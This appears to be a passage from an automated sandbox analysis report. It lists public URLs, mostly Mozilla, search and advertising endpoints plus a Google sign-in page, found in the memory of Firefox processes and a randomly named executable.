Source: firefox.exe, 00000015.00000003.2815648543.00000259406B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000015.00000003.2805571289.000002593B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000003.3018139613.0000000001290000.00000004.00000020.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000002.3020387270.0000000001290000.00000004.00000020.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000003.3016980289.0000000001290000.00000004.00000020.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000003.3018035506.0000000001290000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3099000605.000001EF2FA79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000002.2889978017.00000259358D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3072972441.000001EF2D1F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgmaybeShowOnboardingDialogaccount-connection-disconnectedshowBadgeOnlyNotif
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A49F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3112028417.000001EF30F72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000015.00000002.2921089355.000002593A997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.comY
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000015.00000002.2906919520.0000025938E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2905873141.0000025938967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000015.00000002.2906919520.0000025938E3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2944148777.000002594054B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2898849681.000002593826C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000015.00000002.2905873141.00000259389E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2909163190.0000025939126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085467799.000001EF2EA7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000015.00000002.2951042509.000002594149C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000015.00000003.2756753958.0000025937E1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2893877831.0000025937600000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000003.2756585177.0000025938200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757347333.0000025937E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2909163190.0000025939126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000015.00000002.2905873141.00000259389E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000015.00000002.2905873141.00000259389E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000002.2937149751.000002593FE45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000015.00000002.2940088335.00000259403A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000015.00000002.2879062103.0000025928330000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.0000025928311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2789894282.000002594023C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureWebExtensionUncheckedLastErr
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000003.3012505197.000001EF2ECBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3087233459.000001EF2ECBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000003.3018436413.000001EF2ECBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsbro
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000015.00000003.2831553568.00000259412F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2789894282.000002594023C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000015.00000003.2815648543.00000259406B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2961374287.00000562C2004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938ED9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.00000259283D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2962605090.00001A7B3D004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083600503.000001EF2E68C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E9DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	